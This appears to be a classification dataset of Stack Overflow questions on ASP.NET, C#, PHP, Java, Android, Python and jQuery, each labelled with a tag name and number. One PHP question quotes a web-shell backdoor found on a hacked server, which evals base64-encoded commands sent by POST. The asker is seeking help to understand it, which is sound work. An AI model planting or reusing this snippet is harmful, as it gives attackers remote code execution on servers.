Unnamed: 0
int64
65
6.03M
Id
int64
66
6.03M
Title
stringlengths
10
191
input
stringlengths
23
4.18k
output
stringclasses
10 values
Tag_Number
stringclasses
10 values
2,926,298
2,926,299
HTMLtableCell is not working for table header (th) in asp.net
<p>I have repeater control that have table with table header(th) and table cell(td). I want to access td and th in code. I use HTMLTableCell for both in repeater code, I can access the td, but th is not working. Any suggestions Here is the code sample:</p> <pre><code>&lt;asp:Repeater ID="rpt" runat="server" OnItemDataBound="repeater_ItemDataBound" &gt; &lt;HeaderTemplate&gt; &lt;table id="tbl" &gt; &lt;thead&gt; &lt;tr&gt; &lt;th id="header1" runat="server"&gt;head 1/th&gt; &lt;th"&gt;Head 2&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;/HeaderTemplate&gt; &lt;ItemTemplate&gt; &lt;tr&gt; &lt;td id="td1" runat="server" &gt;&lt;asp:Literal ID="litTD1" runat="server" /&gt;&lt;/td&gt; &lt;td &gt;&lt;asp:Literal ID="litTD2" runat="server" /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/ItemTemplate&gt; &lt;FooterTemplate&gt; &lt;/table&gt; &lt;/FooterTemplate&gt; &lt;/asp:Repeater&gt; in code behind HtmlTableCell header1= e.Item.FindControl("header1") as HtmlTableCell; HtmlTableCell td1= e.Item.FindControl("td1") as HtmlTableCell; </code></pre> <p>This code works for td1 (which is cell) but object null reference exception on header1 Sorry, I do have runat="server" for th</p>
asp.net
[9]
1,567,980
1,567,981
How to initialize an Object?
<p>I have a class like this,</p> <pre><code>public class person { name Name {set; get;} string Address {set; get;} } public class name { string First {set; get;} string Last {set; get;} } </code></pre> <p>Now when I create the object an try to set the first or last name I get an error. "Object reference not set to an instance of an object."</p> <pre><code>person Person = new person(); Person.Name.First = "John"; Person.Name.Last ="Smith"; </code></pre> <p>What am I doing wrong?</p>
c#
[0]
5,516,285
5,516,286
Extract the text from webpage
<p>In this <a href="http://inviatapenet.gethost.ro/test.php" rel="nofollow">test.php</a> page i have this line of text</p> <blockquote> <p>server=span.growler.ro&amp;provider=-1&amp;providersSerial=4&amp;country=RO&amp;mobile=0&amp;token=eae5b2c50c123425d9351d8c8ee80b9a27ca3d69f15a669454b937eb</p> </blockquote> <p>in this other <a href="http://inviatapenet.gethost.ro/test.php" rel="nofollow">test1.php?id=token</a> page i have this php code runing</p> <pre><code>&lt;?php $Text=file_get_contents("./test.php"); if(isset($_GET["id"])){ $id = $_GET["id"]; $regex = "/".$id."=\'([^\']+)\'/"; preg_match_all($regex,$Text,$Match); $fid=$Match[1][0]; echo $fid; } else { echo ""; } ?&gt; </code></pre> <p>i need only the token </p> <blockquote> <p>eae5b2c50c123425d9351d8c8ee80b9a27ca3d69f15a669454b937eb</p> </blockquote> <p>to be show on test1.php?id=token</p> <p>if in test.php the token looks like this </p> <blockquote> <p>token='eae5b2c50c123425d9351d8c8ee80b9a27ca3d69f15a669454b937eb'</p> </blockquote> <p>it works.</p> <p>i needet to work from onother web page</p>
php
[2]
3,527,180
3,527,181
how to send custom return messages from functions?
<p>I am having a function that does a DB operation and sends a <code>boolean</code> value for success/failure. suppose it fails, i want to send the failure reason as a return value.</p> <p>for now, i have defined return value as a string. if it is failure i return <code>"failure: reason"</code> and if it is success, i return <code>"success"</code>. but this is not good practice.</p>
java
[1]
2,997,508
2,997,509
How do I read this javascript diagram?
<p>I'm currently reading <em>Javascript: The Good Parts</em> and I'm having trouble understanding their "grammar" diagrams. </p> <p>The first one is Whitespace</p> <p><img src="http://i.stack.imgur.com/RNLiZ.png" alt="enter image description here"></p> <p>I'm not quite sure how to read it, perhaps some code will help me understand?</p> <p>Thanks for the help in advanced guys.</p>
javascript
[3]
629,687
629,688
C++ function to remove parenthesis from string doesn't catch them all
<p>I wrote a function in c++ to remove parenthesis from a string, but it doesn't always catch them all for some reason that I'm sure is really simple.</p> <pre><code>string sanitize(string word) { int i = 0; while(i &lt; word.size()) { if(word[i] == '(' || word[i] == ')') { word.erase(i,1); } i++; } return word; } </code></pre> <p>Sample result:</p> <p>Input: ((3)8)8)8)8))7</p> <p>Output: (38888)7</p> <p>Why is this? I can get around the problem by calling the function on the output (so running the string through twice), but that is clearly not "good" programming. Thanks!</p>
c++
[6]
382,614
382,615
activity call throws error
<p>I have the code below that is supposed to parse an XML document.</p> <p>I'm getting an error stating that 'activity cannot be resolved'. </p> <p>How can I get my program to recognize my activity?</p> <p>Thanks!</p> <pre><code>package me.HelloAndroid; import org.xmlpull.v1.XmlPullParser; import org.xmlpull.v1.XmlPullParserException; import android.util.Log; import java.io.IOException; import android.app.Activity; import android.content.res.Resources; import android.content.res.XmlResourceParser; public class EncounterGenerator { String encounterText; int testint; private String xmlValue; private int encounterID; public EncounterStats stats; public EncounterGenerator() { Resources res = activity.getResources(); XmlResourceParser xpp = res.getXml(R.xml.encounters); xpp.next(); int eventType = xpp.getEventType(); while (eventType != XmlPullParser.END_DOCUMENT) { ... } </code></pre>
android
[4]
5,891,459
5,891,460
Undefined variable error TTS PHP script
<p>I'm trying to make this code work but it won't. Somebody help me please. This is the first file, tts.php:</p> <pre><code>&lt;?php class TextToSpeech { public $mp3data; function __construct($text="") { $text = trim($text); if(!empty($text)) { $text = urlencode($text); $this-&gt;mp3data = file_get_contents("http://translate.google.com/translate_tts?tl=en&amp;q={$text}"); } } function setText($text) { $text = trim($text); if(!empty($text)) { $text = urlencode($text); $this-&gt;mp3data = file_get_contents("http://translate.google.com/translate_tts?tl=en&amp;q={$text}"); return $mp3data; } else { return false; } } function saveToFile($filename) { $filename = trim($filename); if(!empty($filename)) { return file_put_contents($filename,$this-&gt;mp3data); } else { return false; } } } ?&gt; </code></pre> <p>Second file, index.php:</p> <pre><code>&lt;?php require "tts.php"; $tts = new TextToSpeech(); $tts-&gt;setText("Hello World!"); $tts-&gt;saveToFile("voice.mp3"); ?&gt; </code></pre> <p>And this is the error: <img src="http://i.stack.imgur.com/yF9zT.png" alt="The error"></p> <p>*I'm running the code on localhost</p>
php
[2]
937,212
937,213
What's the proper way to handle a variable across multiple methods?
<p>Say I have a <code>List&lt;Objects&gt;</code>. I want to define the list of objects in one method, and use them in several others.</p> <p>Here's the ways I've come up with and I'm looking for more or the correct way to do it.</p> <ol> <li>You can define <code>List&lt;Objects&gt;</code> in every method that uses it. <ul> <li>Pros: It works. No chance of getting the wrong variable.</li> <li>Cons: Code duplication.</li> </ul></li> <li>You can use a private <code>List&lt;Objects&gt;</code> defined in the class and update it using <code>(ref ListObjects)</code> <ul> <li>Pros: I only have to define it once.</li> <li>Cons: I feel like it's messy and bad practice.</li> </ul></li> <li>You can pass <code>List&lt;Objects&gt;</code> as a parameter to the methods that use it. <ul> <li>Pros: Prevents code duplication</li> <li>Cons: Have to make my populate functions return functions, and add parameters to my other methods. Possible conflicts with Events?</li> </ul></li> </ol> <p>So that's what I've come up with. I'm really not sure which to use or if there's a better way to do this. Thoughts?</p> <p>EDIT: Including some code as requested.</p> <pre><code>private List&lt;MedicalPlan&gt; medicalPlansList; </code></pre> <p>This is the list. It is a list that gets information from a database, here:</p> <pre><code>private void BindMedicalList() { medicalPlansList = new MedicalPlanRepository().RetrieveAll().Where(x =&gt; x.Year == year).ToList(); } </code></pre> <p>Then it's used to find objects in that list, such as</p> <pre><code>var result = medicalPlansList.FirstOrDefault( c =&gt; c.CoverageLevels.Any(p =&gt; p.Id == id)); </code></pre>
c#
[0]
3,478,494
3,478,495
Why php over python in webdevelopment
<p>I am wondering, why everyone opt for php and asp.net for web development. Eventhough python has number of libraries and frameworks for web development. For statistics you can have a look <a href="http://trends.builtwith.com/framework/PHP" rel="nofollow">here..</a></p>
python
[7]
2,010,482
2,010,483
javascript parseInt return NaN for empty string
<p>Is it possible somehow to return 0 instead of NaN when parsing values in javascript?</p> <p>Because in case of if parsed string is empty <code>parseInt</code> returns NaN.</p> <p>Is it possible to do something like that in JavaScript to check for NaN </p> <pre><code> var value = parseInt(tbb) == NaN ? 0 : parseInt(tbb) </code></pre> <p>Or may be there is some another functions or jQuery plugin which may do something similar?</p>
javascript
[3]
1,516,002
1,516,003
CheckBoxes inside a GridView stop responding after soft-keyboard
<p>I use a grid view that gathers several check boxes. The grid view is populated using an adapter that is derived from BaseAdapted. Above the grid there is an EditText.</p> <p>The check boxes function ok in the beginning. But after showing the soft keyboard (by tapping the EditText, then dismissing the keyboard, even without pressing any key) some of the check boxes that were covered by the keyboard stop responding.</p> <p>Any idea how to solve this?</p> <p>Thank you very much!</p>
android
[4]
3,218,615
3,218,616
How to find the remaining time of a setTimeout()
<blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/3144711/javascript-find-the-time-left-in-a-settimeout">Javascript: find the time left in a setTimeout()?</a> </p> </blockquote> <p>I'm trying to use <code>setTimeout()</code> as a way of pausing a series of events in JS.<br> Here's an example of what I'm doing and what I'd like to do in comments - <a href="http://jsfiddle.net/8m5Ww/2/" rel="nofollow">http://jsfiddle.net/8m5Ww/2/</a></p> <p>Any suggestions how I can populate <code>var timeRemaining</code> with the total milliseconds remaining in <code>var a</code>?</p>
javascript
[3]
3,252,955
3,252,956
jQuery Program Requirements
<p>How to run jQuery program ? at what kind of things i have to install?</p>
jquery
[5]
4,339,740
4,339,741
VideoView audio only, no video?
<p>I have a Video view in my activity used to display a video stored in my res.raw folder like this:</p> <pre><code>MediaController controller=new MediaController(this); video.setMediaController(controller); String filePath="android.resource://" + getPackageName() + "/" + R.raw.video3; video.setVideoURI(Uri.parse(filePath)); video.requestFocus(); video.start(); </code></pre> <p>The problem is that I can hear the audio only, but the video is not shown.</p> <p>What can be the reason for this?</p> <p><strong>Edit:</strong> here's my layout:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" &gt; &lt;Button android:id="@+id/btnPlayAudio" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Play Audio" &gt; &lt;/Button&gt; &lt;Button android:id="@+id/btnPlayVideo" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Play Video" &gt; &lt;/Button&gt; &lt;VideoView android:layout_height="wrap_content" android:layout_width="wrap_content" android:id="@+id/videoView" /&gt; &lt;/LinearLayout&gt; </code></pre>
android
[4]
3,236,052
3,236,053
Converting a string of tuples to a list of tuples in Python
<p>How can I convert "[(5, 2), (1,3), (4,5)]" into a list of tuples [(5, 2), (1,3), (4,5)]</p> <p>I am using planetlab shell that does not support "import ast". So I am unable to use it. </p>
python
[7]
1,274,010
1,274,011
Checking if a value is within a range in if statment
<p>I did below:</p> <pre><code>if( '0' &lt;= infix.at(i)&lt;= '9'){ // some logic } </code></pre> <p>Compiler gave me warning unsafe use of type 'bool' in operation. I changed it to following:</p> <pre><code>if( '0' &lt;= infix.at(i)&amp;&amp; infix.at(i) &lt;= '9') </code></pre> <p>now it works. Is the first one not allowed in C++??</p>
c++
[6]
406,934
406,935
Disable click event for status bar in android
<p>I want to disable the click event for status bar in android.how TO DO THIS.</p> <p>Thanks in advance.</p>
android
[4]
2,481,048
2,481,049
combining strip_tags and mysql_real_escape_string in php when form submission
<blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/1220182/does-mysql-real-escape-string-fully-protect-against-sql-injection">Does mysql_real_escape_string() FULLY protect against SQL injection?</a> </p> </blockquote> <p>In my page I created a form and what I want to do is when posting the field value in php coding I want to use both the <code>strip_tags</code> and <code>mysql_real_escap_string</code> as :</p> <pre><code>$res = stript_tags(mysql_real_escape_string($_POST['name'])); </code></pre> <p>Is the above coding correct for secure submission of input field names or it creates any problem when submission.</p>
php
[2]
1,417,906
1,417,907
Why does my web site prompt for a username password when custom errors mode is on
<p>While navigating my site with custom errors mode set to off it behaves normal. If I turn I turn custom errors mode to on, then my first visit to the site prompts me with a username password dialog box. </p> <p>The entire site is enforced with SSL if that matters. Where should I start looking? Is this possibly an IIS issue? I'm not sure why setting custom errors mode to on/off would invoke this type of behavior.</p>
asp.net
[9]
3,033,907
3,033,908
give a function as parameter
<blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/4685563/how-to-pass-a-function-as-a-parameter-in-java">How to pass a function as a parameter in Java?</a> </p> </blockquote> <p>How can i give a function as parameter?</p> <p>for example:</p> <pre><code>for(Confetti c : confetti) { b.draw(someFunction(){strokeWeight(random(10)); } </code></pre> <p>where in the confetti class there would be something like</p> <pre><code>draw(void myFunc){ for(int i = 0; i &lt; 10; i++) { myFunc(); // run it ellipse(50, 50, 5, 5); } } </code></pre>
java
[1]
4,979,837
4,979,838
get specific values from a nested array using elements from that array
<blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/14571388/get-specific-values-from-multidimensional-array">Get specific values from multidimensional array?</a> </p> </blockquote> <pre><code>Array ( [0] =&gt; Array ( [src_small] =&gt; hyperlink [src_big] =&gt; hyperlink [images] =&gt; Array ( [0] =&gt; Array ( [height] =&gt; 1623 [width] =&gt; 2048 [source] =&gt; hyperlink ) [1] =&gt; Array ( [height] =&gt; 432 [width] =&gt; 545 [source] =&gt; hyperlink ) ) ) [1] =&gt; Array ( [src_small] =&gt; hyperlink [src_big] =&gt; hyperlink [images] =&gt; Array ( [0] =&gt; Array ( [height] =&gt; 2048 [width] =&gt; 1442 [source] =&gt; hyperlink ) [1] =&gt; Array ( [height] =&gt; 426 [width] =&gt; 300 [source] =&gt;hyperlink ) ) ) ) </code></pre> <p>I asked how to get the [source] from the array with the biggest value at the [height] and the [width].</p> <p>I find that very difficult to accomplish. </p> <p>Im sorry but i dont understand how is it that my question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet.</p> <p>After that the results ==> to the database table</p> <p>It is so simple to do that ?</p> <p>Im sorry if i offended you in any way and sorry for my bad english.</p>
php
[2]
1,344,099
1,344,100
Need help understanding this block of code (java)
<pre><code>public class Bicycle { private int cadence; private int gear; private int speed; public Bicycle(int startCadence, int startSpeed, int startGear) { gear = startGear; cadence = startCadence; speed = startSpeed; } </code></pre> <p>when you write gear = startGear; what does this actually do? does it temporary set the value of gear as whatever your input is for the time-being, then it resets back to zero? Is this called instance of a variable?</p> <p>And can someone explain to me what exactly is an "instance of an object"? is there one in here? I thought an instance of an object is when someone writes Bicycle bike1 = new Bicycle(); and bike1 is an instance of an object. Sorry I am a total noob.</p>
java
[1]
1,672,338
1,672,339
iphone mediaplayercontroller
<p>iam using mediaplayercontroller in iphone and in this i am able to run video from my app resorce folder but when i want to play youtube video on it then i Found Server is not Configured Error i am able to run it through two method 1)by openurl 2)mapview but when i passes url to it then it not play video i have download the sample code from apple site and i found same error for that server is not configured.. nad after seraching in thenet that this is erroo of bad url which i got from the url is it correct or not i am not sure..i am writing my code here </p> <pre><code>// has the user entered a movie URL? if (self.movieURLTextField.text.length &gt; 0) { NSURL *movieURL = [NSURL URLWithString:self.movieURLTextField.text]; if (movieURL) { if ([movieURL scheme]) // sanity check on the URL { MoviePlayerAppDelegate *appDelegate = (MoviePlayerAppDelegate *)[[UIApplication sharedApplication] delegate]; // initialize a new MPMoviePlayerController object with the specified URL, and // play the movie [appDelegate initAndPlayMovie:movieURL]; } } } </code></pre> <p>waiting for the fruitful result....thanks</p>
iphone
[8]
396,079
396,080
Securing vote buttons like in stackoverflow
<p>How Do i secure vote buttons in server-side like here on Stackoverflow? I've seen how the button can be submitted <a href="http://stackoverflow.com/a/719475/1099531">in this answer</a>, But how about in the server side, how do I protect the voting system from csrf attacks and such?</p>
php
[2]
3,992,652
3,992,653
How to record videos from an iphone App
<p>Does anyone know how to record videos from an iphone app without making it to close..</p> <p>it would be greatly helpful, if any one provides the sample code...</p>
iphone
[8]
5,913,681
5,913,682
jQuery: Observe an enumerable/selector
<p>Using <code>$("#myTable tr").live("click", someCallback);</code> (although now deprecated) it is fairly simple to subscribe to the click event for newly added table rows.</p> <p>I would be interested in a way which doesn't only support events but any jQuery commands, something like:</p> <pre><code>$("myTable tr").live().attr("hello", "world"); </code></pre> <p>which would add the hello="world" attribute to any newly added table rows. Is there any such thing in jQuery?</p> <p><strong>Update: Please note</strong>. I want to <em>subscribe</em> to the event of an element being added. I do <em>not</em> control the code which adds it. Take dataTables as a example: The dataTables plug-in creates the table rows.</p>
jquery
[5]
4,664,333
4,664,334
About streaming in Java
<p>I have to streaming the live show on the server.So that other users hear from that server. So how I should do it through Java.</p>
java
[1]
4,341,089
4,341,090
How to prepare a Web Site which supports multilanguage in PHP
<p>-How to detect the current language settings for client browser<br> -How to arrange variables or messages that should vary based on the language chosen by the client.<br> -Which way is more efficient (if there exists more than one way of doing this)</p>
php
[2]
752,935
752,936
javax.servlet.ServletException: java.lang.NoSuchMethodError:com.voxmobili.sync.mapping.BMntMapping.checkVersion()Z
<p>After I start Tomcat, I am getting following error message along with HTTP Status-500:</p> <pre><code>javax.servlet.ServletException: java.lang.NoSuchMethodError: com.voxmobili.sync.mapping.BMntMapping.checkVersion()Z com.voxmobili.sync.srv.servlet.BServletSync.init(BServletSync.java:122) org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) org.apache.catalina.valves.RequestDumperValve.invoke(RequestDumperValve.java:156) org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:291) org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:291) org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:776) org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:705) org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:898) org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) java.lang.Thread.run(Thread.java:662) </code></pre> <p>Can anyone suggest a solution for this?</p>
java
[1]
4,296,161
4,296,162
iphone UITextView exception
<p>The following code goes to exception for 3.1.3:</p> <blockquote> <p>[textView select:self]</p> </blockquote> <p>unrecognized selector sent to instance etc..</p> <p>But the same code is working for 3.2.</p> <p>I don't understand the error since this function is available starting from IPHONE_3_0 !!!</p> <p>Thanks for help</p>
iphone
[8]
1,133,639
1,133,640
Java real time strategy game development
<p>I'm coming to the end of my first year of CS and I thought a great way to consolidate all the things I've learnt this year would be a personal game project.</p> <p>I would like to implement a 2D based rts, I'm thinking along the lines of starcraft I, warcraft II or even command and conquer. I will have about 3 months without interruptions to implement the game.</p> <p>So to anyone experienced with java game programming, I have a few questions:</p> <p>Is it realistic to design a 2D rts engine from scratch in 3 months? If so what are some good books/resources to get started?</p> <p>Would it be better to modify some existing project? I would think the experience of having to work with a lot of someone else's code would be good since our exposure to such topics in an undergrad cs degree seems very rare, if non-existent.</p> <p>Are there any decent open source 2d rts projects that anyone could recommend? I've looked through a few but most seem to be written in c/c++</p> <p>My humble thanks</p> <p>Edit: Thanks for the quick responses, I think that perhaps it was a bad idea to post this in a rush since I think I misrepresented what I want to do. </p> <p>When I say "along the lines of warcraft II etc" I mean more like that style of rts using sprites. I don't intend to implement a game nearly that complex, more like just a basic prototype. </p> <p>My goal would be some thing more like a flat textured map with some basic obstacles like trees, a single unit producing structure like a barracks. I'd like to have the units to have health bars, be able to move and attack and die (and possible morph into another unit). </p> <p>Far off goals would be to implement some basic pathing using a modified version of the dijkstra shortest path algorithm, ranged units with missle attack, etc.</p> <p>I don't plan to implement any opponents or ai or networking or anything like that.</p>
java
[1]
262,639
262,640
Python: How to replace N random string occurrences in text?
<p>Say that I have 10 different tokens, "(TOKEN)" in a string. How do I replace 2 of those tokens, chosen at random, with some other string, leaving the other tokens intact?</p>
python
[7]
3,662,954
3,662,955
How we can find attach function in a html tag in javascript
<p>Suppose we have a html tag and some javascript function is attached on that by addEvenetListner or attachEvent (with tag id or name but not inline), and if we need find out that which function is attach on that tag, then what is good way for find that.</p> <p>Please suggest me.</p>
javascript
[3]
3,737,859
3,737,860
unrecognized selector sent to instance
<p>I'm using appDelegate for sharing NSMutableArray but it's crashing. Error message is unrecognized selector sent to instance</p> <pre><code> countrydata *countryobj=(countrydata *)[listItems objectAtIndex:indexPath.row]; if(addItems==nil) { addItems=[[NSMutableArray alloc]init]; } [addItems addObject:countryobj]; callAppDelegate *appDelegate = (callAppDelegate *)[[UIApplication sharedApplication] delegate]; appDelegate.AddItems=addItems; [self dismissModalViewControllerAnimated:YES]; </code></pre> <p>Where is my code is wrong ? appdelegate.AddItems is NSMultableArray and already decleare in callAppDelegate.h. I already import callAppDelegate.h in top.</p>
iphone
[8]
1,590,455
1,590,456
problem including javascript dynamically
<p>I'm relatively new to Javascript and I am trying to write this short piece of code, found, by the way, as example on many web sites, but it doesn't work:</p> <pre><code>var x = document.createElement("script"); x.type="text/javascript"; x.src="GTV.js"; alert(x.textContent); document.body.appendChild(x); </code></pre> <p>I don't get any error message, but the alert function returns blank, and the appendChild does not append anything. The GTV.js file is a local file on the same directory as the HTML. I know that I can include the js file in other more simple ways, but this is just an intermediate step to load, instead of GTV.js, another page from another site. Where am I wrong? BTW, I'm using Firefox 4.0 Beta, but the same happens with IE8 Thanks</p> <p><strong>Update</strong></p> <p>Thanks for the answers.</p> <p>In order: 1) Tom: I'm just trying to include a script at runtime - should be easy, I've seen lots of examples ... just isn't working for me and don't understand what's wrong 2) Xs10tial: I don't have the slightest idea what you are talking of - sorry, it's certainly my lack of experience 3) Atanas: I tried your suggestion but it doesn't work. By the way, looking at your example, should I put my 2 lines of code within the if cycle (where you write "//The script is executed") at the end, where they currently are? 4) Jayantha: doesn't work. By the way, why are you referring to css rather than js?</p> <p>Any other suggestion?</p>
javascript
[3]
2,043,750
2,043,751
What does this mean? - if (null === ($bar = $foo->getBar()))
<p>When we have something like:</p> <pre><code>if (null === ($bar = $foo-&gt;getBar())) { } </code></pre> <p>Are we doing three things on this single line ? Are we:</p> <p>1) Declaring a variable.</p> <p>2) Attribute that variable a value.</p> <p>3) Check if that variable value is null.</p> <p>?</p>
php
[2]
1,459,115
1,459,116
Best javascript compressor/compiler/obfuscator?
<h3>Duplicate:</h3> <blockquote> <ul> <li><a href="http://stackoverflow.com/questions/534601/are-there-any-javascript-static-analysis-tools">Are there any Javascript static analysis tools?</a></li> <li><a href="http://stackoverflow.com/questions/360818/which-javascript-minification-library-produces-better-results">Which javascript minification library produces better results?</a></li> <li><a href="http://stackoverflow.com/questions/28932/best-javascript-compressor">Best javascript compressor</a></li> <li><a href="http://stackoverflow.com/questions/194397/how-can-i-obfuscate-javascript">How can I obfuscate JavaScript?</a></li> <li><a href="http://stackoverflow.com/questions/522064/what-is-the-best-javascript-obfuscator">What is the best javascript obfuscator?</a></li> <li>others (just search SO)</li> </ul> </blockquote> <p><hr /></p> <p>They should perform the following functionalities: - checking for errors - optimize the code - removing unused code - packaging management - compress it (rename varialbe and property name to shorter ones) - obfuscate it (sometime it is the same as compress it.</p>
javascript
[3]
2,968,863
2,968,864
textbox Empty validation
<p>I'm trying to validate a text box in a form to not having empty string if the user didn't entered anything in the text box, so if the text box was empty, the user has to enter a value ,and my code was like this, but it is not working</p> <pre><code> public int TextBox_Validation(string sender) { try { if (string.IsNullOrEmpty(sender)) { MessageBox.Show("Please enter a value"); } } catch { int num = int.Parse(sender); return 0; } return 0; } </code></pre>
c#
[0]
55,444
55,445
What's the best way to search for a Python dictionary value in a list of dictionaries?
<p>I have the following data structure:</p> <pre><code> data = [ {'site': 'Stackoverflow', 'id': 1}, {'site': 'Superuser', 'id': 2}, {'site': 'Serverfault', 'id': 3} ] </code></pre> <p>I want to search the above list to see if it has any site with a specific value. For instance, search the above to see if the list contain a dictionary with site = 'Superuser' and return True/False. I can do the above the usual way of looping over each item and comparing them. Is there an alternative way to achieve a search?</p>
python
[7]
5,049,941
5,049,942
Is there any better alternative way to the strategy pattern in Java?
<p>I have two sets of Java API's doing the same job but targeting different system platforms, all their API function definitions are <strong>exactly</strong> the same except that they have different package names (<em>and they do not implement the same interface</em>). I'm not free enough to change the code of the API, so I can not make them implement any interface. </p> <p>I want to write code above these APIs and want to have these code to be usable for both API sets (similar to the strategy design pattern).</p> <p>What is the best way to achieve this? I do not want to make a interface and adapter classes because there are over 20 API methods.</p>
java
[1]
1,247,105
1,247,106
PHP code help - hacked apache server
<p>I have discovered the following code appear in two identical .php files on more than one of my server's websites. The files have inconspicuous names such as "reminder.php" (but a different name everytime) and appear in my /scripts/ and /uploads/ folders, sometimes other folders instead.</p> <p>Their appearance is not entirely random but I don't know enough about Apache servers or PHP to know a) how it got there b) what it does.</p> <p>Checking the logs they all appeared at similar times and were called once and that is all.</p> <p>Any help would be greatly appreciated.</p> <pre><code>if (isset($_COOKIE["adm"])) { if (isset($_POST['crc'], $_POST['cmd'])) { if (sprintf('%u', crc32($_POST['cmd'])) == $_POST['crc']) { eval(gzuncompress(base64_decode($_POST['cmd']))); } else echo "repeat_cmd"; } } </code></pre>
php
[2]
3,903,565
3,903,566
Two submit buttons in one form that act like links
<p>I'm making a website form that grabs tables from my database and gives the user the ability to vote on them (vote up/vote down)..</p> <p>To do this I made a SQL statement that selects all from my table in the database, then does a loop adding to a string that displays the contents of the table to the user in a formatted manner. In this output string I have it so there are submit buttons with hidden input types with the postid. My idea is that each row in the table would have its own set of submit(vote up, vote down) buttons and will pass the value from the hidden field to the corresponding page. </p> <pre><code>while (results.next() &amp;&amp; i &lt; 10) { output += "&lt;form name='feed' method='POST'&gt;&lt;a href=postid.jsp?id=" + results.getString("id") + "&gt;" + results.getString("id") + "&lt;/a&gt; - &lt;input type='hidden' name='postid value='" + results.getString("id") + "'&gt;" + results.getString("content") + "&lt;br&gt; &lt;input type='submit' value='Thumbs up(" + results.getString("upvote") + ")'&gt; | &lt;input type='submit' value='Thumbs down.(" + results.getString("downvote") + ")'&gt;| " + results.getString("gender") + " - " + results.getString("userid") + "&lt;br&gt;&lt;br&gt;&lt;/form&gt;"; </code></pre> <p>My question is, how would I approach this. The way I did above does not do anything. I know I need some sort of Javascript from reading online. </p> <p>The way it outputs is:</p> <pre><code>postid - POST CONTENT THUMBS UP(x) | THUMBS DOWN(x) - MALE - user120123 </code></pre> <p>Thanks.</p>
javascript
[3]
2,914,028
2,914,029
How to know the filetype through python
<p>In the very beginning,I tried to do like this(hoped to get some useful information in the head):<br/></p> <pre> >>content=open("fileurl","rb").read() </pre> <p>I found that PNG (png)'s Header is lik this: 89504E47 (I don't know wheather it's true or not)<br/> But when I did in this way,the result is:<br/></p> <pre> >>> content[:20] '\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x01\x90' </pre> <p>the <code>\x</code>is what?<br/> Hope someone can help!Thanks very much!</p>
python
[7]
5,592,122
5,592,123
Strange javascript behavior of `map` in Firefox
<p>Here's some strange javascript behavior of the <code>map</code> function in Firefox.</p> <p>During an error condition of a web-app (when firebug pauses on the error) typing the following into Firebug console:</p> <pre><code>["a", "b", "c", "d"].map(function(val, i, arr) { return val + " " + i + " " + typeof arr; }); </code></pre> <p>produces the following un-expected result:</p> <pre><code>["a undefined undefined", "b undefined undefined", "c undefined undefined", "d undefined undefined"] </code></pre> <p>At that time, if I open up another blank tab and type the same statement into the blank tab's Firebug Console, it produces the following expected result:</p> <pre><code>["a 0 object", "b 1 object", "c 2 object", "d 3 object"] </code></pre> <p>This means, in the error condition, <code>map</code> calls the callback with 1 argument instead of the expected 3 arguments.</p> <p>Quote from MDN: (<a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array/map" rel="nofollow">https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array/map</a>)</p> <blockquote> <p>callback is invoked with three arguments: the value of the element, the index of the element, and the Array object being traversed.</p> </blockquote> <p>Is the unexpected behavior because of the app forcing firefox into some mode?</p> <p>(I'm using Firefox 12.0)</p>
javascript
[3]
3,686,941
3,686,942
Adding Macros to Python
<p>I would like to invoke the following code <strong>in-situ</strong> wherever I refer to <code>MY_MACRO</code> in my code below.</p> <pre><code># MY_MACRO frameinfo = getframeinfo(currentframe()) msg = 'We are on file ' + frameinfo.filename + ' and line ' + str(frameinfo.lineno) # Assumes access to namespace and the variables in which `MY_MACRO` is called. current_state = locals().items() </code></pre> <p>Here is some code that would use <code>MY_MACRO</code>:</p> <pre><code>def some_function: MY_MACRO def some_other_function: some_function() MY_MACRO class some_class: def some_method: MY_MACRO </code></pre> <p>In case it helps:</p> <ol> <li>One of the reasons why I would like to have this ability is because I would like to avoid repeating the code of <code>MY_MACRO</code> wherever I need it. Having something short and easy would be very helpful. </li> <li>Another reason is because I want to embed an IPython shell wihthin the macro and I would like to have access to all variables in <code>locals().items()</code> (see <a href="http://stackoverflow.com/questions/15669186/using-ipython-as-an-effective-debugger">this other question</a>)</li> </ol> <p>Is this at all possible in Python? What would be the easiest way to get this to work?</p> <p>Please <strong>NOTE</strong> that the macro assumes access to the entire namespace of the scope in which it's called (i.e. <strong>merely placing</strong> the code <code>MY_MACRO</code> in <strong>a function would not work</strong>). Note also that if I place <code>MY_MACRO</code> in a function, <code>lineno</code> would output the wrong line number.</p>
python
[7]
4,048,561
4,048,562
Tabs in aspx page
<p>I need to put two tabs on my aspx page (c#). Is there already done tabs control for aspx ?</p>
asp.net
[9]
1,002,566
1,002,567
problem- Auto rearranging listview
<p>i have a Listview with Textview &amp; Edittext widgets.. listview rows are sorting / rearranging automatically when ever i click the "EditText" of any row.. how can i overcome this problem.. kindly assist me to toggle that this sorting problem</p>
android
[4]
3,507,518
3,507,519
Class returning object confusion
